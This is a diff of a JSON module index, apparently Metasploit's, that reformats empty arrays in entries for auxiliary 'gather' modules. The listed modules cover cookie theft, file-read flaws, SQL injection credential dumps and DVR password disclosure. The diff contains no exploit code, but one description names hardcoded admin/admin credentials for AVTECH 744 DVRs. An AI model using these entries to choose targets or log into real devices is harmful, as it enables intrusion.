-20062,9 +17352,7 @@ "auxiliary_gather/android_browser_new_tab_cookie_theft": { "name": "Android Browser \"Open in New Tab\" Cookie Theft", "fullname": "auxiliary/gather/android_browser_new_tab_cookie_theft", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20080,12 +17368,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-09-22 02:56:51 +0000", "path": "/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb", @@ -20094,8 +17378,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20108,9 +17391,7 @@ "auxiliary_gather/android_htmlfileprovider": { "name": "Android Content Provider File Disclosure", "fullname": "auxiliary/gather/android_htmlfileprovider", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20126,12 +17407,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/android_htmlfileprovider.rb", @@ -20140,8 +17417,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20154,9 +17430,7 @@ "auxiliary_gather/android_object_tag_webview_uxss": { "name": "Android Open Source Platform (AOSP) Browser UXSS", "fullname": "auxiliary/gather/android_object_tag_webview_uxss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-10-04", "type": "auxiliary", @@ -20173,12 +17447,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/android_object_tag_webview_uxss.rb", @@ -20187,8 +17457,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20201,9 +17470,7 @@ "auxiliary_gather/android_stock_browser_uxss": { "name": "Android Open Source Platform (AOSP) Browser UXSS", "fullname": "auxiliary/gather/android_stock_browser_uxss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20220,12 +17487,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/android_stock_browser_uxss.rb", @@ -20234,8 +17497,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20248,9 +17510,7 @@ "auxiliary_gather/apache_rave_creds": { "name": "Apache Rave User Information Disclosure", "fullname": "auxiliary/gather/apache_rave_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20291,20 +17551,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/apache_superset_cookie_sig_priv_esc": { "name": "Apache Superset Signed Cookie Priv Esc", "fullname": "auxiliary/gather/apache_superset_cookie_sig_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-04-25", "type": "auxiliary", @@ -20353,9 +17608,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ], @@ -20365,16 +17618,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/apple_safari_ftp_url_cookie_theft": { "name": "Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft", "fullname": "auxiliary/gather/apple_safari_ftp_url_cookie_theft", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-04-08", "type": "auxiliary", @@ -20390,12 +17639,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb", @@ -20404,8 +17649,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20418,9 +17662,7 @@ "auxiliary_gather/apple_safari_webarchive_uxss": { "name": "Mac OS X Safari .webarchive File Format UXSS", "fullname": "auxiliary/gather/apple_safari_webarchive_uxss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-22", "type": "auxiliary", @@ -20434,12 +17676,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb", @@ -20448,8 +17686,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20462,9 +17699,7 @@ "auxiliary_gather/argus_dvr_4_lfi_cve_2018_15745": { "name": "Argus Surveillance DVR 4.0.0.0 - Directory Traversal", "fullname": "auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20508,25 +17743,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/asrep": { "name": "Find Users Without Pre-Auth Required (ASREP-roast)", "fullname": "auxiliary/gather/asrep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20540,12 +17767,8 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-07-23 09:56:40 +0000", "path": "/modules/auxiliary/gather/asrep.rb", @@ -20561,9 +17784,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "AKA": [ "preauth", "asreproast" @@ -20587,9 +17808,7 @@ "auxiliary_gather/asterisk_creds": { "name": "Asterisk Gather Credentials", "fullname": "auxiliary/gather/asterisk_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20606,12 +17825,8 @@ "platform": "", "arch": "", "rport": 5038, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/asterisk_creds.rb", @@ -20620,20 +17835,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/avtech744_dvr_accounts": { "name": "AVTECH 744 DVR Account Information Retrieval", "fullname": "auxiliary/gather/avtech744_dvr_accounts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20641,9 +17851,7 @@ "nstarke" ], "description": "This module will extract the account information from the AVTECH 744 DVR devices,\n including usernames, cleartext passwords, and the device PIN, along with\n a few other miscellaneous details. In order to extract the information, hardcoded\n credentials admin/admin are used. These credentials can't be changed from the device\n console UI nor from the web UI.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -20670,20 +17878,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/billquick_txtid_sqli": { "name": "BillQuick Web Suite txtID SQLi", "fullname": "auxiliary/gather/billquick_txtid_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-10-22", "type": "auxiliary", @@ -20727,25 +17930,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/browser_info": { "name": "HTTP Client Information Gather", "fullname": "auxiliary/gather/browser_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-03-22", "type": "auxiliary", @@ -20753,18 +17950,12 @@ "sinn3r " ], "description": "This module gathers information about a browser that exploits might be interested in, such\n as OS name, browser version, plugins, etc. By default, the module will return a fake 404,\n but you can customize this output by changing the Custom404 datastore option, and\n redirect to an external web page.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/gather/browser_info.rb", @@ -20773,8 +17964,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20787,9 +17977,7 @@ "auxiliary_gather/browser_lanipleak": { "name": "HTTP Client LAN IP Address Gather", "fullname": "auxiliary/gather/browser_lanipleak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-09-05", "type": "auxiliary", @@ -20806,12 +17994,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/browser_lanipleak.rb", @@ -20820,8 +18004,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -20834,9 +18017,7 @@ "auxiliary_gather/c2s_dvr_password_disclosure": { "name": "C2S DVR Management Password Disclosure", "fullname": "auxiliary/gather/c2s_dvr_password_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-19", "type": "auxiliary", @@ -20874,20 +18055,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/censys_search": { "name": "Censys Search", "fullname": "auxiliary/gather/censys_search", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20903,12 +18079,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-07-04 17:19:16 +0000", "path": "/modules/auxiliary/gather/censys_search.rb", @@ -20921,25 +18093,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/cerberus_helpdesk_hash_disclosure": { "name": "Cerberus Helpdesk User Hash Disclosure", "fullname": "auxiliary/gather/cerberus_helpdesk_hash_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-03-07", "type": "auxiliary", @@ -20977,20 +18141,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/checkpoint_gateway_fileread_cve_2024_24919": { "name": "Check Point Security Gateway Arbitrary File Read", "fullname": "auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -21033,25 +18192,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/checkpoint_hostname": { "name": "CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure", "fullname": "auxiliary/gather/checkpoint_hostname", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-14", "type": "auxiliary", @@ -21066,12 +18217,8 @@ "platform": "", "arch": "", "rport": 264, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/checkpoint_hostname.rb", @@ -21080,20 +18227,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/chrome_debugger": { "name": "Chrome Debugger Arbitrary File Read / Arbitrary Web Request", "fullname": "auxiliary/gather/chrome_debugger", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-09-24", "type": "auxiliary", @@ -21102,9 +18244,7 @@ "Nicholas Starke (The King Pig Demon)" ], "description": "This module uses the Chrome Debugger's API to read\n files off the remote file system, or to make web requests\n from a remote machine. Useful for cloud metadata endpoints!", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 9222, @@ -21131,20 +18271,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/cisco_pvc2300_download_config": { "name": "Cisco PVC2300 POE Video Camera configuration download", "fullname": "auxiliary/gather/cisco_pvc2300_download_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-12", "type": "auxiliary", @@ -21197,16 +18332,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/cisco_rv320_config": { "name": "Cisco RV320/RV326 Configuration Disclosure", "fullname": "auxiliary/gather/cisco_rv320_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-01-24", "type": "auxiliary", @@ -21249,20 +18380,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/citrix_published_applications": { "name": "Citrix MetaFrame ICA Published Applications Scanner", "fullname": "auxiliary/gather/citrix_published_applications", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -21276,12 +18402,8 @@ "platform": "", "arch": "", "rport": 1604, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/gather/citrix_published_applications.rb", @@ -21290,20 +18412,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/citrix_published_bruteforce": { "name": "Citrix MetaFrame ICA Published Applications Bruteforcer", "fullname": "auxiliary/gather/citrix_published_bruteforce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -21318,12 +18435,8 @@ "platform": "", "arch": "", "rport": 1604, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/gather/citrix_published_bruteforce.rb", @@ -21332,20 +18445,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/cloud_lookup": { "name": "Cloud Lookup (and Bypass)", "fullname": "auxiliary/gather/cloud_lookup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -21375,12 +18483,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -21453,9 +18557,7 @@ "auxiliary_gather/coldfusion_pms_servlet_file_read": { "name": "CVE-2024-20767 - Adobe Coldfusion Arbitrary File Read", "fullname": "auxiliary/gather/coldfusion_pms_servlet_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-03-12", "type": "auxiliary", @@ -21501,25 +18603,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/coldfusion_pwd_props": { "name": "ColdFusion 'password.properties' Hash Extraction", "fullname": "auxiliary/gather/coldfusion_pwd_props", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-07", "type": "auxiliary", @@ -21560,20 +18656,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/corpwatch_lookup_id": { "name": "CorpWatch Company ID Information Search", "fullname": "auxiliary/gather/corpwatch_lookup_id", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -21610,20 +18701,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/corpwatch_lookup_name": { "name": "CorpWatch Company Name Information Search", "fullname": "auxiliary/gather/corpwatch_lookup_name", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -21660,20 +18746,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/crushftp_fileread_cve_2024_4040": { "name": "CrushFTP Unauthenticated Arbitrary File Read", "fullname": "auxiliary/gather/crushftp_fileread_cve_2024_4040", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -21718,22 +18799,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/cve_2021_27850_apache_tapestry_hmac_key": { "name": "Apache Tapestry HMAC secret key leak", "fullname": "auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-04-15", "type": "auxiliary", @@ -21784,16 +18859,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/d20pass": { "name": "General Electric D20 Password Recovery", "fullname": "auxiliary/gather/d20pass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -21807,12 +18878,8 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/gather/d20pass.rb", @@ -21821,20 +18888,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/darkcomet_filedownloader": { "name": "DarkComet Server Remote File Download Exploit", "fullname": "auxiliary/gather/darkcomet_filedownloader", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-08", "type": "auxiliary", @@ -21850,12 +18912,8 @@ "platform": "Windows", "arch": "", "rport": 1604, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/darkcomet_filedownloader.rb", @@ -21864,20 +18922,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/dolibarr_creds_sqli": { "name": "Dolibarr Gather Credentials via SQL Injection", "fullname": "auxiliary/gather/dolibarr_creds_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-05-30", "type": "auxiliary", @@ -21917,20 +18970,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/doliwamp_traversal_creds": { "name": "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", "fullname": "auxiliary/gather/doliwamp_traversal_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-01-12", "type": "auxiliary", @@ -21968,20 +19016,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/drupal_openid_xxe": { "name": "Drupal OpenID External Entity Injection", "fullname": "auxiliary/gather/drupal_openid_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-17", "type": "auxiliary", @@ -22024,20 +19067,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/eaton_nsm_creds": { "name": "Network Shutdown Module sort_values Credential Dumper", "fullname": "auxiliary/gather/eaton_nsm_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-26", "type": "auxiliary", @@ -22076,13 +19114,10 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/elasticsearch_enum": { "name": "Elasticsearch Enumeration Utility", @@ -22131,25 +19166,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/emc_cta_xxe": { "name": "EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read", "fullname": "auxiliary/gather/emc_cta_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-31", "type": "auxiliary", @@ -22187,20 +19216,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/enum_dns": { "name": "DNS Record Scanner and Enumerator", "fullname": "auxiliary/gather/enum_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -22230,20 +19254,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/eventlog_cred_disclosure": { "name": "ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure", "fullname": "auxiliary/gather/eventlog_cred_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-05", "type": "auxiliary", @@ -22284,20 +19303,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/exchange_proxylogon_collector": { "name": "Microsoft Exchange ProxyLogon Collector", "fullname": "auxiliary/gather/exchange_proxylogon_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-03-02", "type": "auxiliary", @@ -22348,9 +19362,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -22371,9 +19383,7 @@ "auxiliary_gather/external_ip": { "name": "Discover External IP via Ifconfig.me", "fullname": "auxiliary/gather/external_ip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -22410,20 +19420,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/f5_bigip_cookie_disclosure": { "name": "F5 BIG-IP Backend Cookie Disclosure", "fullname": "auxiliary/gather/f5_bigip_cookie_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -22471,25 +19476,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/firefox_pdfjs_file_theft": { "name": "Firefox PDF.js Browser File Theft", "fullname": "auxiliary/gather/firefox_pdfjs_file_theft", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -22508,12 +19505,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb", @@ -22522,8 +19515,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -22536,9 +19528,7 @@ "auxiliary_gather/flash_rosetta_jsonp_url_disclosure": { "name": "Flash \"Rosetta\" JSONP GET/POST Response Disclosure", "fullname": "auxiliary/gather/flash_rosetta_jsonp_url_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-07-08", "type": "auxiliary", @@ -22556,12 +19546,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb", @@ -22570,8 +19556,7 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -22584,9 +19569,7 @@ "auxiliary_gather/fortios_vpnssl_traversal_creds_leak": { "name": "FortiOS Path Traversal Credential Gatherer", "fullname": "auxiliary/gather/fortios_vpnssl_traversal_creds_leak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -22635,25 +19618,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/get_user_spns": { "name": "Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)", "fullname": "auxiliary/gather/get_user_spns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-27", "type": "auxiliary", @@ -22669,12 +19646,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-01-17 18:59:12 +0000", "path": "/modules/auxiliary/gather/get_user_spns.py", @@ -22691,16 +19664,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/gitlab_authenticated_subgroups_file_read": { "name": "GitLab Authenticated File Read", "fullname": "auxiliary/gather/gitlab_authenticated_subgroups_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-05-23", "type": "auxiliary", @@ -22746,25 +19715,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/gitlab_tags_rss_feed_email_disclosure": { "name": "GitLab Tags RSS feed email disclosure", "fullname": "auxiliary/gather/gitlab_tags_rss_feed_email_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-01-25", "type": "auxiliary", @@ -22808,25 +19771,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/grandstream_ucm62xx_sql_account_guess": { "name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump", "fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-03-30", "type": "auxiliary", @@ -22837,7 +19792,7 @@ "references": [ "CVE-2020-5724", 